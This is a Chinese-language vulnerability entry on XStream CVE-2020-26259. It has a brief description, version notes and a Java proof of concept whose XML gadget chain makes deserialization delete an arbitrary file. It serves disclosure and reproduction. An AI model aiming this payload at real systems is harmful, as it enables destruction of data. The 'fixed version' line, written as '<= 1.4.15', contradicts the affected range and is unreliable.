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66 lines
2.1 KiB
Markdown
66 lines
2.1 KiB
Markdown
# XStream 任意文件删除 反序列化漏洞 CVE-2020-26259
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## 漏洞描述
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Xstream 是 Java 类库，用来将对象序列化成 XML (JSON) 或反序列化为对象。XStream 是一款开源软件，允许在 BSD 许可证的许可下分发。
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参考链接：
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- https://x-stream.github.io/CVE-2020-26259.html
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## 漏洞影响
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影响版本：
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```
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Xstream < = 1.4.14
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```
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修复版本：
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```
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Xstream < = 1.4.15
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```
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## 漏洞复现
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poc：
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```
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import com.thoughtworks.xstream.XStream;
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/*
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CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local host
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when unmarshalling as long as the executing process has sufficient rights.
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https://x-stream.github.io/CVE-2020-26259.html
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Security framework of XStream not explicitly initialized, using predefined black list on your own risk.
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*/
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public class CVE_2020_26259 {
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public static void main(String[] args) {
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String xml_poc = "<map>\n" +
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" <entry>\n" +
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" <jdk.nashorn.internal.objects.NativeString>\n" +
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" <flags>0</flags>\n" +
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" <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>\n" +
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" <dataHandler>\n" +
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" <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>\n" +
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" <contentType>text/plain</contentType>\n" +
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" <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>\n" +
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" <tempFile>/tmp/CVE-2020-26259</tempFile>\n" +
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" </is>\n" +
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" </dataSource>\n" +
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" <transferFlavors/>\n" +
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" </dataHandler>\n" +
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" <dataLen>0</dataLen>\n" +
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" </value>\n" +
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" </jdk.nashorn.internal.objects.NativeString>\n" +
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" <string>test</string>\n" +
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" </entry>\n" +
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"</map>";
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XStream xstream = new XStream();
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xstream.fromXML(xml_poc);
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}
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}
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```
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